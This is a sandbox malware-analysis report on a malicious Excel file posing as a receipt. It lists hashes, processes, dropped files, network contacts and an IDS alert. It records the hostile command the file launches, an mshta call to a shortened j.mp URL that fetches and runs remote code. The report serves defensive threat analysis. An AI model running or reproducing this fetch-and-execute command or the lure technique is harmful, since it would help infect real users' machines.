File name: | Sample Receipt.xls |
Full analysis: | https://app.any.run/tasks/b4cb8e48-59a9-4a77-b945-480f20684ee5 |
Verdict: | Malicious activity |
Analysis date: | October 14, 2019, 07:37:33 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.ms-excel |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Wed Oct 9 16:06:00 2019, Security: 0 |
MD5: | 789F27200694CA01A55DCF173AABA5E0 |
SHA1: | 6E3EF01C46CA85367CF923215F1EF69AAE493DB7 |
SHA256: | 069B517EECA2F04F7F0923A5A52CB2A2F1A840C04C7F382851DDCCD37ABD16DD |
SSDEEP: | 3072:5qZ+RwPONXoRjDhIcp0fDlaGGx+cL26nAk/xAIP+KsMbfmAeCVRFjHgOv8SbGj8F:oZ+RwPONXoRjDhIcp0fDlavx+W26nAkD |
.xls | | | Microsoft Excel sheet (48) |
---|---|---|
.xls | | | Microsoft Excel sheet (alternate) (39.2) |
Author: | - |
---|---|
LastModifiedBy: | - |
Software: | Microsoft Excel |
CreateDate: | 2006:09:16 00:00:00 |
ModifyDate: | 2019:10:09 15:06:00 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
AppVersion: | 12 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: |
|
HeadingPairs: |
|
CompObjUserTypeLen: | 38 |
CompObjUserType: | Microsoft Office Excel 2003 Worksheet |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
392 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 | ||||
2384 | mshta http:\\j.mp\adjh0mXAsxfsaasdi | C:\Windows\system32\mshta.exe | EXCEL.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Version: 8.00.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
392 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRA8CD.tmp.cvr | — | |
MD5:— | SHA256:— | |||
392 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DF8685A0F8FF4B6091.TMP | — | |
MD5:— | SHA256:— | |||
392 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DF7246B1DBEB5DEC5C.TMP | — | |
MD5:— | SHA256:— | |||
2384 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\authorization[1].css | — | |
MD5:— | SHA256:— | |||
2384 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\2136525808-widgets[1].js | text | |
MD5:9070FA3F3EEAF3238014264239F1FCA8 | SHA256:337E0172AC0349C0C416C3FE424EBCE33388DD9F9CC49C2B7B110E7918A0119E | |||
2384 | mshta.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@blogger[1].txt | — | |
MD5:— | SHA256:— | |||
2384 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\css[1].txt | text | |
MD5:C0EF21B006A1828712B51C642771E12D | SHA256:9F16BD8D07E631F3D27406B0B78174915437A3FC16E759B67E1E021774185E7B | |||
2384 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\error[1] | text | |
MD5:35FE91C2AC1BA0913CC617622B9EB43F | SHA256:966240C0527B20E8E2553B7E5A68594AE69230AA00186F2C6C2C342405494837 | |||
2384 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\210157244-ieretrofit[1].js | html | |
MD5:83A14CE8A07941331DFB5A615AF96CA9 | SHA256:C17B6213AB3A96180261DEC659C93EC2D6D3691A7FFE1AE09173C1BA124CC6C4 | |||
2384 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\37[1].html | html | |
MD5:5AC550D8D0BA76A8F13667886ECFE428 | SHA256:CFFC48EC8867F6726C83AD0A4A1596CA738EB714DBBB1EDF65AF7071314C96A0 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2384 | mshta.exe | GET | 301 | 67.199.248.17:80 | http://j.mp/adjh0mXAsxfsaasdi | US | html | 134 b | shared |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2384 | mshta.exe | 67.199.248.17:80 | j.mp | Bitly Inc | US | shared |
2384 | mshta.exe | 172.217.23.137:443 | www.blogger.com | Google Inc. | US | whitelisted |
2384 | mshta.exe | 172.217.22.105:443 | resources.blogblog.com | Google Inc. | US | whitelisted |
2384 | mshta.exe | 172.217.18.161:443 | asdiamecwecw8cew.blogspot.com | Google Inc. | US | whitelisted |
2384 | mshta.exe | 216.58.207.36:443 | www.google.com | Google Inc. | US | whitelisted |
2384 | mshta.exe | 216.58.206.13:443 | accounts.google.com | Google Inc. | US | whitelisted |
2384 | mshta.exe | 172.217.22.10:443 | fonts.googleapis.com | Google Inc. | US | whitelisted |
2384 | mshta.exe | 216.58.207.78:443 | www.google-analytics.com | Google Inc. | US | whitelisted |
2384 | mshta.exe | 216.58.210.3:443 | fonts.gstatic.com | Google Inc. | US | whitelisted |
Domain | IP | Reputation |
---|---|---|
j.mp |
| shared |
asdiamecwecw8cew.blogspot.com |
| whitelisted |
www.blogger.com |
| shared |
resources.blogblog.com |
| whitelisted |
accounts.google.com |
| shared |
www.google.com |
| whitelisted |
fonts.googleapis.com |
| whitelisted |
fonts.gstatic.com |
| whitelisted |
www.google-analytics.com |
| whitelisted |
PID | Process | Class | Message |
---|---|---|---|
2384 | mshta.exe | Misc activity | SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7) |